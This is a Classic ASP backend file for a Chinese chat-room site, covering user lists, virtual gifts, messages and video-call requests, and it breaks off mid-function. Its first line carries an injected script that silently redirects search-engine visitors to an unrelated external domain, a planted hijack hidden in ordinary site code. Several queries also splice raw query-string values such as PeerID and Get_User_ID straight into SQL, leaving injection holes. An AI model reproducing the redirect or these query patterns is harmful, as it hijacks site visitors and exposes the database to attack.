001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="DAL.asp"--> 002: <% 003: Response.Addheader "Content-Type","text/html; charset=gb2312"
004: Response.Expires = 0
005: Response.Expiresabsolute = Now() - 1
006: Response.AddHeader "pragma","no-cache"
007: Response.AddHeader "cache-control","private"
008: Response.CacheControl = "no-cache"
009:
010: Web_Log_URL = SysConfig("LoginPage")
011:
012:
013: '获取用户数量 014: function GetUserNum()
015: GetUserNum=Session("TempUserListCount")
016: end function
017:
018: '读取用户列表 019: function GetJson_UserList()
020: Dim Re
021: Dim GRS,PRS
022: Set GRS=Server.CreateObject( "ADODB.Recordset" )
023: Set GRS=DB_CONN.EXECUTE("select a.[User_ID] as [User_ID],b.[User_Title] as [User_Title],b.[User_NickName] as [User_NickName],b.[User_Score] as [User_Score],b.[User_Power] as [User_Power],b.[User_Sex] as [User_Sex],b.[User_Pic] as [User_Pic] from [XK_User_Online] a inner join [XK_User_Info] b on a.[User_ID]=b.[User_ID] where a.[Room_ID]="&session(Session_Group_ID_Arg)&" and datediff(second,a.[OL_End_Time],getdate())<0 and b.[IsCheck]=0 ")
024: Set PRS=Server.CreateObject( "ADODB.Recordset" )
025: Set PRS=DB_CONN.EXECUTE("select * from [XK_Power] where [IsVis]=1 order by [Power_Sort] Desc")
026: Re=Re&"["
027: for i=0 to PRS.Recordcount-1
028: if i<>0 then Re=Re&","
029: Re=Re&"{id:'Root"&PRS("Power_ID")&"',text:'"&PRS("Power_Name")&"',icon:'',expanded:true,children:[{id:'"&CStr(0-i)&"',text:'所有人',leaf:true}"
030: '移动游标到第一条 031: GRS.movefirst
032: while not GRS.eof
033: if GRS("User_Power")=PRS("Power_ID") then
034: Re=Re&","
035: dim UserOtherIcons:UserOtherIcons=""
036: '房主 037: if Cint(GRS("User_ID"))=Cint(RoomInfo("Room_Admin_UserID")) then UserOtherIcons=UserOtherIcons&"<span id=""Icons_FangZhu"" title=""房主""></span>"
038: '权限图标 039: UserOtherIcons=UserOtherIcons&"<span id=""UserListIcon"" style=""background:url("&PRS("Power_Icon")&") center center no-repeat;"" title="""&PRS("Power_Name")&"""></span>"
040: '等级图标 041: UserOtherIcons=UserOtherIcons&"<span id=""UserListIcon"" style=""background:url("&GetLevelInfo(ScoreLevel(GRS("User_Score")),"Level_Icon")&") center center no-repeat;"" title="""&GetLevelInfo(ScoreLevel(GRS("User_Score")),"Level_Name")&"""></span>"
042: '头衔图标 043: dim TitleIcons:TitleIcons=""
044: if GRS("User_Title")<>"" then TitleIcons="<br>"&GetTitles(GRS("User_Title"))
045: Re=Re&"{id:'"&GRS("User_ID")&"',text:'"&GRS("User_NickName")&UserOtherIcons&"',icon:'"
046: '添加图标 047: UserIcon="images/icos/male.png"
048: if GRS("User_Sex")<>0 then UserIcon="images/icos/female.png"
049: Re=Re&UserIcon
050: '添加头像 051: dim UserTopPic:UserTopPic=""
052: if GRS("User_Pic")<>"" then
053: UserTopPic=",qtip:'<img src="""&GRS("User_Pic")&""" width=""100"" height=""100"" style=""margin-top:2px;margin-bottom:4px;"" />"&TitleIcons&"'"
054: else
055: if GRS("User_Sex")<>0 then
056: UserTopPic=",qtip:'<img src=""images/woman.gif"" width=""100"" height=""100"" style=""margin-top:2px;margin-bottom:4px;"" />"&TitleIcons&"'"
057: else
058: UserTopPic=",qtip:'<img src=""images/man.gif"" width=""100"" height=""100"" style=""margin-top:2px;margin-bottom:4px;"" />"&TitleIcons&"'"
059: end if
060: end if
061: Re=Re&"',leaf:true"&UserTopPic&"}"
062: end if
063: GRS.movenext
064: wend
065: Re=Re&"]}"
066: if PRS.eof then exit for
067: PRS.movenext
068: next
069: Re=Re&"]"
070: GetJson_UserList=Re
071: end function
072:
073: '判断用户列表是否有更新 074: function CheckUserList()
075: Dim GRS
076: Set GRS=Server.CreateObject( "ADODB.Recordset" )
077: Set GRS=DB_CONN.EXECUTE("select Count(*) from [XK_User_Online] where [Room_ID]="&session(Session_Group_ID_Arg))
078: '如果数据无更新,则不进行刷新 079: if (Session("TempUserListCount")-Cint(GRS(0)))=0 then
080: CheckUserList="false"
081: else
082: '保存数据条数,判断数据是否有更新 083: Session("TempUserListCount")=Cint(GRS(0))
084: CheckUserList="true"
085: end if
086: end function
087:
088: '删除自己的在线数据 089: function DeSetMyOnline()
090: DB_CONN.EXECUTE("update [XK_User_Online] set [Room_ID]=0 where [User_ID]="&Session(Session_UserID_Arg))
091: end function
092:
093: '在线保持,并删除过期在线用户 094: function ValidUserOnline()
095: Dim VRS,KeepRS
096: set KeepRS=Server.CreateObject( "ADODB.Recordset" )
097: if Session(Session_UserID_Arg)<>"" then
098: KeepRS.OPEN "select * from [XK_User_Online] where [User_ID]="&Session(Session_UserID_Arg) , DB_CONN , 1 , 3
099: if KeepRS.recordcount<1 then
100: 'session(Session_UserID_Arg)="" 101: KeepRS.addnew()
102: KeepRS("User_ID")=Session(Session_UserID_Arg)
103: KeepRS("OL_Start_Time")=now()
104: KeepRS("OL_End_Time")=dateadd( "s" , Delete_Minutes , now())
105: KeepRS("LogInTime")=now()
106: KeepRS("Room_ID")=session(Session_Group_ID_Arg)
107: KeepRS.update()
108: else
109: KeepRS("OL_Start_Time")=now()
110: KeepRS("OL_End_Time")=dateadd( "s" , Delete_Minutes , now())
111: '被管理员踢出 112: if Cstr(KeepRS("Kick"))="1" then session(Session_UserID_Arg)="":session("ErrStr")="您被管理员踢出!"
113: KeepRS.update()
114: end if
115: KeepRS.close()
116: end if
117: Set VRS=Server.CreateObject( "ADODB.Recordset" )
118: Set VRS=DB_CONN.EXECUTE("delete from [XK_User_Online] where [Kick]=1 or datediff(second,[OL_End_Time],getdate())>=0")
119: DB_CONN.EXECUTE("delete from [XK_Video] where [VID] not in (select v.[VID] from [XK_Video] v inner join [XK_User_Online] o on (v.[SendUserID]=o.[User_ID] or v.[GetUserID]=o.[User_ID] ) ) ")
120: end function
121:
122: '判断Session 123: function CheckSession()
124: dim ErrStr,TimeSpace
125: if session("ScoreTime") ="" or isnull( session("ScoreTime") ) then
126: session("ScoreTime")=now()
127: end if
128: TimeSpace=datediff("s",session("ScoreTime"),now())
129: if TimeSpace>60 then
130: DB_CONN.EXECUTE("update [XK_User_Info] set [User_Score]=[User_Score]+"&(TimeSpace\60)*Cint(SysConfig("Score_Grow"))&" where [User_ID]="&session(Session_UserID_Arg))
131: session("ScoreTime")=now()
132: end if
133: ErrStr="您尚未登录或登录超时过期，系统将跳转至登录页面"
134: if session("ErrStr")<>"" then ErrStr=session("ErrStr")
135: if session(Session_UserID_Arg) ="" or isnull( session(Session_UserID_Arg) ) then NewSession()
136: if session(Session_UserID_Arg) ="" then CheckSession="if(!IsDisAlert){Ext.MessageBox.alert('通知', '"&ErrStr&"', LogOut);IsDisAlert=true;}"
137: ValidUserOnline()
138: end function
139:
140: '续订Session 141: function NewSession()
142: if Request.Cookies(Session_UserID_Arg)<>"" and not isnull(Response.Cookies(Session_UserID_Arg)) then
143: Session(Session_UserID_Arg)=Request.Cookies(Session_UserID_Arg)
144: Session(Session_UserName_Arg)=Request.Cookies(Session_UserName_Arg)
145: Session("IsVideo")=Request.Cookies("IsVideo")
146: session(Session_Group_ID_Arg)=Request.Cookies(Session_Group_ID_Arg)
147: end if
148: end function
149:
150: '发送礼物 151: function PostGift()
152: dim GiftID,GiftName,GiftPrice,GiftNum,GiftSumMoney,GiftGetUserID,GiftGetUserName,UserMoney
153: GiftID=Cint(Request.QueryString("Gift_ID"))
154: GiftName=GiftInfo(GiftID,"Gift_Name")
155: GiftPrice=Cint(GiftInfo(GiftID,"Gift_Price"))
156: GiftGetUserID=Cint(Request.QueryString("Get_UserID"))
157: GiftNum=Cint(Request.QueryString("Gift_Num"))
158: UserMoney=CLng(GUInfo("User_Money"))
159: GiftSumMoney=CLng(GiftPrice)*Cint(GiftNum)
160: GiftGetUserName=GetUserInfo(GiftGetUserID,"User_NickName")
161: if GiftNum<1 then Rw "alert('请正确填写礼物数量!');UserMoney="&UserMoney&";":Exit function
162: if GiftGetUserName=false then Rw "alert('被赠予用户不存在!');UserMoney="&UserMoney&";":Exit function
163: if UserMoney<GiftSumMoney then RW "YEAlert();":Exit function
164: '减去钱 165: DB_CONN.EXECUTE("update [XK_User_Info] set [User_Money]=[User_Money]-"&GiftSumMoney&" where [User_ID]="&Session(Session_UserID_Arg)&" ")
166: '加钱 167: DB_CONN.EXECUTE("update [XK_User_Info] set [User_Money]=[User_Money]+"&GiftSumMoney*CDbl(SysConfig("Exchange"))&" where [User_ID]="&GiftGetUserID&" ")
168: '添加礼物发送记录 169: Set GiftRS=Server.CreateObject( "ADODB.Recordset" )
170: GiftRS.OPEN "select top 1 * from [XK_Gift_PostInfo]" , DB_CONN , 1 , 3
171: GiftRS.ADDNEW()
172: GiftRS("Gift_PostUserID")=Cint(Session(Session_UserID_Arg))
173: GiftRS("Gift_GetUserID")=GiftGetUserID
174: GiftRS("Gift_ID")=GiftID
175: GiftRS("Gift_Num")=GiftNum
176: GiftRS("Gift_UnitPrice")=GiftPrice
177: GiftRS.UPDATE()
178: GiftRS.Close()
179: Rw "SendNotice(0,""<li class='Gift_Li'><div class='Msg_Content'>"&CheckTime(now())&" <a href='javascript:\\\\'><label id='"&Session(Session_UserID_Arg)&"' onclick='SetGetUid(this)'>"&GetUserInfo(Session(Session_UserID_Arg),"User_NickName")&"</label></a> 送给 <a href='javascript:\\\\'><label id='"&GiftGetUserID&"' onclick='SetGetUid(this)'>"&GiftGetUserName&"</label></a> <font color=red>"&GiftNum&"</font> 个 <font color=red>"&GiftName&"</font><br><img src='images/gift/"&GiftID&".gif'></div></li>"");"
180: end function
181:
182: '发送消息 183: sub SendForm()
184: Dim SRS,RequestControlID,RequestContent
185: if Request.QueryString("ControlID")="" then
186: RequestControlID="StarHtmleditor"
187: else
188: RequestControlID=Request.QueryString("ControlID")
189: end if
190: if Request.QueryString(RequestControlID)="" then Exit Sub
191: RequestContent=Request.QueryString(RequestControlID)
192:
193: '判断接收人在线 194: if not CheckGetUserOnline(Request.QueryString("Get_User_ID")) then
195: Dim CErrStr
196: CErrStr="<li class=""Error_Li""><div class=""Error""><a href=""javascript:\\\\""><label>错误</label></a><label>"&FormatTime(now(),3)&"</label></div><div class=""Msg_Content"">用户：<a href=""javascript:\\\\"">"&GetUserInfo(Request.QueryString("Get_User_ID"),"User_NickName")&"</a> 已离线!</div></li>"
197: Rw "{failure:'false',msg:'"&CErrStr&"'}"
198: exit sub
199: end if
200:
201: '判断是否禁言 202: dim IsDisSpeak
203: IsDisSpeak=true
204: if Cstr(RoomInfo("IsDisSpeak"))="1" then'房间禁言
205: if InAllowSpeak=false then IsDisSpeak=false
206: else'房间未禁言
207: if InDisSpeak=true then IsDisSpeak=false
208: end if
209:
210: if IsDisSpeak=false then
211: Dim DErrStr
212: DErrStr="<li class=""Error_Li""><div class=""Error""><a href=""javascript:\\\\""><label>错误</label></a><label>"&FormatTime(now(),3)&"</label></div><div class=""Msg_Content"">您被房主禁言!</div></li>"
213: Rw "{failure:'false',msg:'"&DErrStr&"'}"
214: exit sub
215: end if
216:
217: Set SRS=Server.CreateObject( "ADODB.Recordset" )
218: SRS.OPEN "select top 1 * from [XK_Msg]" , DB_CONN , 1 , 3
219: SRS.ADDNEW()
220: SRS("Post_User_ID")=Cint(Session(Session_UserID_Arg))
221: SRS("Get_User_ID")=Cint(Request.QueryString("Get_User_ID"))
222: SRS("Msg_Content")=gotTopic(RequestContent,MsgMaxLength)
223: SRS("Room_ID")=session(Session_Group_ID_Arg)
224: SRS.UPDATE()
225: SRS.Close()
226: if Cstr(SysConfig("SendModel"))="1" then'普通轮询下减少SQL负载
227: Application.Lock()
228: Application.contents(Cstr(session(Session_Group_ID_Arg))+"_MsgCount")=Application.contents(Cstr(session(Session_Group_ID_Arg))+"_MsgCount")+1
229: Application.Unlock()
230: end if
231: Rw "{failure:'success',msg:' '}"
232: end sub
233:
234: '判断用户是否在非禁言字段中,true 存在,false 不存在 235: function InAllowSpeak()
236: dim re,users,l
237: re=false
238: users=split(RoomInfo("AllowSpeakUserID"),",")
239: for l=0 to Ubound(users)
240: if users(l)=Cstr(Session(Session_UserID_Arg)) then re=true
241: next
242: InAllowSpeak=re
243: end function
244:
245: '判断用户是否在禁言字段中,true 存在,false 不存在 246: function InDisSpeak()
247: dim re,users,l
248: re=false
249: users=split(RoomInfo("DisSpeakUserID"),",")
250: for l=0 to Ubound(users)
251: if users(l)=Cstr(Session(Session_UserID_Arg)) then re=true
252: next
253: InDisSpeak=re
254: end function
255:
256: '判断接收人是否在线 257: function CheckGetUserOnline(GetUserID)
258: if Cint(GetUserID)<1 then CheckGetUserOnline=true:exit function
259: Dim ColRS
260: Set ColRS=Server.CreateObject( "ADODB.Recordset" )
261: Set ColRS=DB_CONN.EXECUTE("select * from [XK_User_Online] where [Room_ID]="&session(Session_Group_ID_Arg)&" and [User_ID]="&GetUserID)
262: if ColRS.recordcount>0 then
263: CheckGetUserOnline=true
264: else
265: CheckGetUserOnline=false
266: end if
267: end function
268:
269: '正则过滤 270: function RegRe(Str, PatternStr, RepStr)
271: Dim NewStr, regEx
272: NewStr = Str
273: if IsNull(NewStr) Then
274: RegRe = ""
275: Exit function
276: End if
277: Set regEx = new RegExp
278: regEx.IgnoreCase = true
279: regEx.Global = true
280: regEx.Pattern = PatternStr
281: NewStr = regEx.Replace(NewStr, RepStr)
282: RegRe = NewStr
283: end function
284:
285: '过滤关键词 286: function ReplaceKeys(str)
287: dim TheKeys,KeysToStr
288: str=vbsUnEscape(str)
289: TheKeys=SysConfig("ReplaceKeys")
290: KeysToStr=SysConfig("ReplaceToStr")
291: TheKeys=split(TheKeys,chr(13))
292: For Each MyIsKey In TheKeys
293: MyIsKey=Replace(Replace(MyIsKey,chr(13),""),chr(10),"")
294: str=RegReplace(str,Trim(MyIsKey),KeysToStr)
295: Next
296: str = RegRe(str, "</?ul[^>]*?>", "")
297: str = RegRe(str, "</?li[^>]*?>", "")
298: str = RegRe(str, "</?div[^>]*?>", "")
299: str = RegRe(str, "</?label[^>]*?>", "")
300: str = RegRe(str, "style=[^>]*", "")
301: str = RegRe(str, "</?a?>", "")
302: str = RegRe(str, "Msg_UserName_Self", "")
303: str = RegRe(str, "Msg_UserName", "")
304: ReplaceKeys=vbsEscape(str)
305: end function
306:
307: '正则过滤关键词 308: function RegReplace(Str,PatternStr,RepStr)
309: Dim NewStr,regEx
310: NewStr = Str
311: if isnull(NewStr) then
312: RegReplace = ""
313: exit function
314: end if
315: Set regEx = new RegExp
316: regEx.ignorecase = true
317: regEx.global = true
318: regEx.pattern=PatternStr
319: NewStr = regEx.Replace(NewStr,RepStr)
320: RegReplace = NewStr
321: end function
322:
323: '读取公告 324: function GetStrNoticeList()
325: Dim RE,NRS
326: if RoomInfo("Room_Notice")<>"" then
327: RE=RoomInfo("Room_Notice")
328: else
329: Set NRS=Server.CreateObject( "ADODB.Recordset" )
330: Set NRS=DB_CONN.EXECUTE("select * from [XK_Notice]")
331: RE=NRS("Notice_Content")
332: end if
333: GetStrNoticeList=RE
334: end function
335:
336: '读取信息列表 337: function GetStrMsgList()
338: Dim MRS,MEndRsID,MsgIdStr,MyCurrentID,RE
339: MyCurrentID=Session(Session_UserID_Arg)
340: 'MsgIdStr="" 341: if Session("MsgEndID")="" then
342: Set MEndRsID=Server.CreateObject( "ADODB.Recordset" )
343: Set MEndRsID=DB_CONN.EXECUTE("select top 1 [Msg_ID] from [XK_Msg] where [Room_ID]="&session(Session_Group_ID_Arg)&" order by [Msg_ID] desc")
344: Session("MsgEndID")=0
345: if MEndRsID.recordcount>0 then Session("MsgEndID")=MEndRsID("Msg_ID")
346: Session("OLDMsgEndID")=Session("MsgEndID")
347: end if
348: if Cstr(SysConfig("SendModel"))="1" then'普通轮询下减少SQL负载
349: if Application.contents(Cstr(session(Session_Group_ID_Arg))+"_MsgCount")="" then
350: Application.Lock()
351: Application.contents(Cstr(session(Session_Group_ID_Arg))+"_MsgCount")=0
352: Application.Unlock()
353: end if
354: if Cint(Application.contents(Cstr(session(Session_Group_ID_Arg))+"_MsgCount")) <= Cint(Session("RoomMsgCount")) then Exit function
355: Session("RoomMsgCount")=Application.contents(Cstr(session(Session_Group_ID_Arg))+"_MsgCount")
356: end if
357: Set MRS=Server.CreateObject( "ADODB.Recordset" )
358: Set MRS=DB_CONN.EXECUTE("select * from [XK_Msg] where [Room_ID]="&session(Session_Group_ID_Arg)&" and ([Post_User_ID]="&MyCurrentID&" or [Get_User_ID]="&MyCurrentID&" or [Get_User_ID]<1) and [Msg_ID]>"&Session("MsgEndID")&" order by [Msg_SendTime] ")
359: while not MRS.eof
360: dim UserIcon:UserIcon=""
361: dim PUID:PUID=GetUserInfo(MRS("Post_User_ID"),"User_Power")
362: if GetPowerInfo(PUID,"Power_UserIcon")<>"" then
363: UserIcon=" style=""background-image: url("&GetPowerInfo(PUID,"Power_UserIcon")&");background-repeat:no-repeat;background-position: 0px 0px;padding-left:"&GetPowerInfo(PUID,"Power_UserIconWidth")&"px;"" "
364: end if
365: if Cint(MRS("Get_User_ID"))>0 then
366: dim GUserIcon:GUserIcon=""
367: dim GUID:GUID=GetUserInfo(MRS("Get_User_ID"),"User_Power")
368: if GetPowerInfo(GUID,"Power_UserIcon")<>"" then
369: GUserIcon=" style=""background-image: url("&GetPowerInfo(GUID,"Power_UserIcon")&");background-repeat:no-repeat;background-position: 0px 0px;padding-left:"&GetPowerInfo(GUID,"Power_UserIconWidth")&"px;"" "
370: end if
371: end if
372: RE=RE&"<li class="""&CheckMsgType(MRS("Get_User_ID"))&"""><div class=""Msg_UserName"&CheckSelf(MRS("Post_User_ID"))&"""><a href=""javascript:\\"" "&UserIcon&"><label id="""&MRS("Post_User_ID")&""" onclick=""SetGetUid(this)"">"&GetUserInfo(MRS("Post_User_ID"),"User_NickName")&"</label></a>"&GetUserName(MRS("Get_User_ID"),GUserIcon)&"<label>"&CheckTime(MRS("Msg_SendTime"))&"</label></div><div class=""Msg_Content"">"&ReplaceKeys(MRS("Msg_Content"))&"</div></li>"
373: Session("MsgEndID")=MRS("Msg_ID")
374: MRS.MoveNext
375: wend
376: 'DB_CONN.EXECUTE("update [XK_Msg] set [IsDisplay]=1 where [Msg_ID] in ("&MsgIdStr&") ") 377: GetStrMsgList=RE
378: end function
379:
380: '判断信息类型 381: function CheckMsgType(GetUserID)
382: if Cint(GetUserID)<1 then
383: CheckMsgType="Public"
384: else
385: CheckMsgType="Private"
386: end if
387: end function
388:
389: '获取接收人信息,并拼接html 390: function GetUserName(GetUserID,GUserIcon)
391: if Cint(GetUserID)>0 then
392: GetUserName="<span>对</span><a href=""javascript:\\"" "&GUserIcon&"><label id="""&GetUserID&""" onclick=""SetGetUid(this)"">"&GetUserInfo(GetUserID,"User_NickName")&"</label></a>"
393: else
394: GetUserName=""
395: end if
396: end function
397:
398:
399: '判断是否是自身昵称 400: function CheckSelf(PostUserID)
401: if Cstr(PostUserID)=Cstr(Session(Session_UserID_Arg)) then
402: CheckSelf="_Self"
403: else
404: CheckSelf=""
405: end if
406: end function
407:
408: '发送视频申请 409: function SendVideo()
410: dim GetUserID,VRS
411: GetUserID=Request.QueryString("GetUserID")
412: if GetUserID="" then SendVideo="alert(""非法链接,参数错误!"");":exit function
413: if CheckGetUserOnline(GetUserID)=false then SendVideo="alert(""对方已离开!"");":exit function
414: if CheckIsVideoIng(GetUserID) then SendVideo="alert(""对方正在视频中!"");":exit function
415:
416: Set VRS=Server.CreateObject( "ADODB.Recordset" )
417: VRS.OPEN "select top 1 * from [XK_Video]" , DB_CONN , 1 , 3
418: VRS.addnew()
419: VRS("SendUserID")=Session(Session_UserID_Arg)
420: VRS("SendUserName")=GUInfo("User_NickName")
421: VRS("GetUserID")=GetUserID
422: VRS("GetUserName")=GetUserInfo(GetUserID,"User_NickName")
423: VRS.update()
424: VRS.close()
425: SendVideo="1"
426: end function
427:
428: '取消视频申请 429: function CancelVideo()
430: dim VRS,ERS,IsLink
431: Set VRS=Server.CreateObject( "ADODB.Recordset" )
432: VRS.OPEN "select * from [XK_Video] where [SendUserID]="&Session(Session_UserID_Arg) , DB_CONN , 1 , 3
433: if CheckGetUserOnline(VRS("GetUserID"))=false then
434: Set ERS=Server.CreateObject( "ADODB.Recordset" )
435: Set ERS=DB_CONN.EXECUTE("delete from [XK_Video] where [SendUserID]="&Session(Session_UserID_Arg))
436: else
437: VRS("IsLink")=2
438: VRS.update()
439: VRS.close()
440: end if
441: end function
442:
443: '监听视频消息 444: function GetVideoInfo()
445: dim VRS,ERS
446: Set VRS=Server.CreateObject( "ADODB.Recordset" )
447: Set VRS=DB_CONN.EXECUTE("select * from [XK_Video] where [SendUserID]="&Session(Session_UserID_Arg)&" or [GetUserID]="&Session(Session_UserID_Arg))
448: if VRS.recordcount>0 then
449: if Cstr(VRS("IsLink"))="0" then
450: if Cstr(VRS("GetUserID"))=Cstr(Session(Session_UserID_Arg)) then
451: GetVideoInfo="if(!IsDisPlayAlert){IsDisPlayAlert=true;Ext.MessageBox.confirm('视频邀请', '是否同意 "&VRS("SendUserName")&" 的视频通话邀请?',function(btn){if(btn=='yes'){YesVideo();}else{NoVideo();StopLisVideo();}});};"
452: end if
453: end if
454:
455: if Cstr(VRS("IsLink"))="1" then
456: if CheckGetUserOnline(VRS("SendUserID")) and CheckGetUserOnline(VRS("GetUserID")) then
457: if Cstr(VRS("SendUserID"))=Cstr(Session(Session_UserID_Arg)) then
458: GetVideoInfo="if(!IsDisVideo){DisCam(""pu=CV"&VRS("SendUserID")&"&ru=CV"&VRS("GetUserID")&"&pn=""+toUTF8('"&VRS("SendUserName")&"')+""&IsSender=y&rn=""+toUTF8('"&VRS("GetUserName")&"'),true);IsDisVideo=true;StopLisVideo();}"
459: else
460: GetVideoInfo="if(!IsDisVideo){DisCam(""pu=CV"&VRS("GetUserID")&"&ru=CV"&VRS("SendUserID")&"&pn=""+toUTF8('"&VRS("GetUserName")&"')+""&IsSender=n&rn=""+toUTF8('"&VRS("SendUserName")&"'),true);IsDisVideo=true;StopLisVideo();VideoGetUserID="&VRS("SendUserID")&";}"
461: end if
462: else
463: Set ERS=Server.CreateObject( "ADODB.Recordset" )
464: Set ERS=DB_CONN.EXECUTE("delete from [XK_Video] where [VID]="&VRS("VID"))
465: GetVideoInfo="DisCam('',false);Ext.getCmp('BTVideo').setText('视频');alert('对方已离线!');StopLisVideo();"
466: end if
467: end if
468:
469: if Cstr(VRS("IsLink"))="2" then
470: if Cstr(VRS("GetUserID"))=Cstr(Session(Session_UserID_Arg)) then
471: dim TempSendUserName:TempSendUserName=VRS("SendUserName")
472: Set ERS=Server.CreateObject( "ADODB.Recordset" )
473: Set ERS=DB_CONN.EXECUTE("delete from [XK_Video] where [GetUserID]="&Session(Session_UserID_Arg))
474: GetVideoInfo="Ext.MessageBox.hide();alert('"&TempSendUserName&" 取消了视频请求!');IsDisPlayAlert=false;StopLisVideo();"
475: end if
476: end if
477:
478: if Cstr(VRS("IsLink"))="3" then
479: if Cstr(VRS("SendUserID"))=Cstr(Session(Session_UserID_Arg)) then
480: dim TempGetUserName:TempGetUserName=VRS("GetUserName")
481: Set ERS=Server.CreateObject( "ADODB.Recordset" )
482: Set ERS=DB_CONN.EXECUTE("delete from [XK_Video] where [SendUserID]="&Session(Session_UserID_Arg))
483: GetVideoInfo="alert('"&TempGetUserName&" 拒绝了你的视频请求!');Ext.getCmp('BTVideo').setText('视频');StopLisVideo();"
484: end if
485: end if
486:
487: if Cstr(VRS("IsLink"))="4" then
488: dim TempCloseUserName:TempCloseUserName=VRS("CloseUserName")
489: if Cstr(VRS("CloseUserID"))<>Cstr(Session(Session_UserID_Arg)) then
490: Set ERS=Server.CreateObject( "ADODB.Recordset" )
491: Set ERS=DB_CONN.EXECUTE("delete from [XK_Video] where [GetUserID]="&Session(Session_UserID_Arg)&" or [SendUserID]="&Session(Session_UserID_Arg))
492: GetVideoInfo="alert('"&TempCloseUserName&" 断开了视频通话!');DisCam('',false);Ext.getCmp('BTVideo').setText('视频');StopLisVideo();"
493: end if
494: end if
495:
496: end if
497: end function
498:
499: '接受视频邀请 500: function YesVideo()
501: dim VRS,ERS
502: Set VRS=Server.CreateObject( "ADODB.Recordset" )
503: VRS.OPEN "select * from [XK_Video] where [GetUserID]="&Session(Session_UserID_Arg) , DB_CONN , 1 , 3
504: if CheckGetUserOnline(VRS("SendUserID"))=false then
505: Set ERS=Server.CreateObject( "ADODB.Recordset" )
506: Set ERS=DB_CONN.EXECUTE("delete from [XK_Video] where [GetUserID]="&Session(Session_UserID_Arg))
507: YesVideo="alert('对方已离开');StopLisVideo();"
508: else
509: VRS("IsLink")=1
510: VRS.update()
511: VRS.close()
512: end if
513: end function
514:
515: '拒绝视频邀请 516: function NoVideo()
517: dim VRS,ERS
518: Set VRS=Server.CreateObject( "ADODB.Recordset" )
519: VRS.OPEN "select * from [XK_Video] where [GetUserID]="&Session(Session_UserID_Arg) , DB_CONN , 1 , 3
520: if CheckGetUserOnline(VRS("SendUserID"))=false then
521: Set ERS=Server.CreateObject( "ADODB.Recordset" )
522: Set ERS=DB_CONN.EXECUTE("delete from [XK_Video] where [GetUserID]="&Session(Session_UserID_Arg))
523: else
524: VRS("IsLink")=3
525: VRS.update()
526: VRS.close()
527: end if
528: end function
529:
530: '断开视频通话 531: function CloseVideo()
532: dim VRS,ERS
533: Set VRS=Server.CreateObject( "ADODB.Recordset" )
534: VRS.OPEN "select * from [XK_Video] where [SendUserID]="&Session(Session_UserID_Arg)&" or [GetUserID]="&Session(Session_UserID_Arg) , DB_CONN , 1 , 3
535: dim PartnerID
536: if Cstr(VRS("SendUserID"))=Cstr(Session(Session_UserID_Arg)) then PartnerID=VRS("GetUserID")
537: if Cstr(VRS("GetUserID"))=Cstr(Session(Session_UserID_Arg)) then PartnerID=VRS("SendUserID")
538: if CheckGetUserOnline(PartnerID)=false then
539: Set ERS=Server.CreateObject( "ADODB.Recordset" )
540: Set ERS=DB_CONN.EXECUTE("delete from [XK_Video] where [SendUserID]="&Session(Session_UserID_Arg)&" or [GetUserID]="&Session(Session_UserID_Arg))
541: else
542: VRS("CloseUserID")=Session(Session_UserID_Arg)
543: VRS("CloseUserName")=GUInfo("User_NickName")
544: VRS("IsLink")=4
545: VRS.update()
546: VRS.close()
547: end if
548: end function
549:
550: '判断对方是否正在视频 551: function CheckIsVideoIng(GetUserID)
552: dim VRS,ERS
553: Set VRS=Server.CreateObject( "ADODB.Recordset" )
554: Set VRS=DB_CONN.EXECUTE("select * from [XK_Video] where [SendUserID]="&GetUserID&" or [GetUserID]="&GetUserID)
555: if VRS.recordcount>0 then
556: if VRS.recordcount>1 then
557: Set ERS=Server.CreateObject( "ADODB.Recordset" )
558: Set ERS=DB_CONN.EXECUTE("delete from [XK_Video] where [SendUserID]="&GetUserID&" or [GetUserID]="&GetUserID)
559: end if
560: CheckIsVideoIng=true
561: else
562: CheckIsVideoIng=false
563: end if
564: end function
565:
566: '保存发布者peerid并获取接受者的peerid 567: function GetPartentPeerID()
568: dim MyPeerID,VRS,Re,ERS
569: Re=""
570: Set VRS=Server.CreateObject( "ADODB.Recordset" )
571: Set VRS=DB_CONN.EXECUTE("select * from [XK_Video] where [SendUserID]="&Session(Session_UserID_Arg)&" or [GetUserID]="&Session(Session_UserID_Arg))
572: if VRS.recordcount>0 then
573: if Cstr(VRS("SendUserID"))=Cstr(Session(Session_UserID_Arg)) then
574: if isnull(VRS("SendUserPeerID")) or VRS("SendUserPeerID")="" then
575: DB_CONN.EXECUTE("update [XK_Video] set [SendUserPeerID]='"&Request.QueryString("PeerID")&"' where [SendUserID]="&Session(Session_UserID_Arg))
576: end if
577: Re=VRS("GetUserPeerID")
578: end if
579: if Cstr(VRS("GetUserID"))=Cstr(Session(Session_UserID_Arg)) then
580: if isnull(VRS("GetUserPeerID")) or VRS("GetUserPeerID")="" then
581: DB_CONN.EXECUTE("update [XK_Video] set [GetUserPeerID]='"&Request.QueryString("PeerID")&"' where [GetUserID]="&Session(Session_UserID_Arg))
582: end if
583: Re=VRS("SendUserPeerID")
584: end if
585: end if
586: GetPartentPeerID=Re
587: end function
588:
589: '判断并返回日期 590: function CheckTime(TimeStr)
591: if DateDiff("d", CDate(TimeStr), now())>0 then
592: CheckTime=FormatTime(TimeStr,1)
593: else
594: CheckTime=FormatTime(TimeStr,3)
595: end if
596: end function
597:
598:
599:
600: '============================================ 601: ' 格式化时间(显示) 602: ' 参数：n_Flag 603: ' 1:"yyyy-mm-dd hh:mm:ss" 604: ' 2:"yyyy-mm-dd" 605: ' 3:"hh:mm:ss" 606: ' 4:"yyyy年mm月dd日" 607: ' 5:"yyyymmdd" 608: ' 6:"yyyymmddhhmmss" 609: ' ============================================ 610: Function FormatTime(s_Time, n_Flag)
611: Dim y, m, d, h, mi, s
612: FormatTime = ""
613: If IsDate(s_Time) = False Then Exit Function
614: y = cstr(year(s_Time))
615: m = cstr(month(s_Time))
616: If len(m) = 1 Then m = "0" & m
617: d = cstr(day(s_Time))
618: If len(d) = 1 Then d = "0" & d
619: h = cstr(hour(s_Time))
620: If len(h) = 1 Then h = "0" & h
621: mi = cstr(minute(s_Time))
622: If len(mi) = 1 Then mi = "0" & mi
623: s = cstr(second(s_Time))
624: If len(s) = 1 Then s = "0" & s
625: Select Case n_Flag
626: Case 1
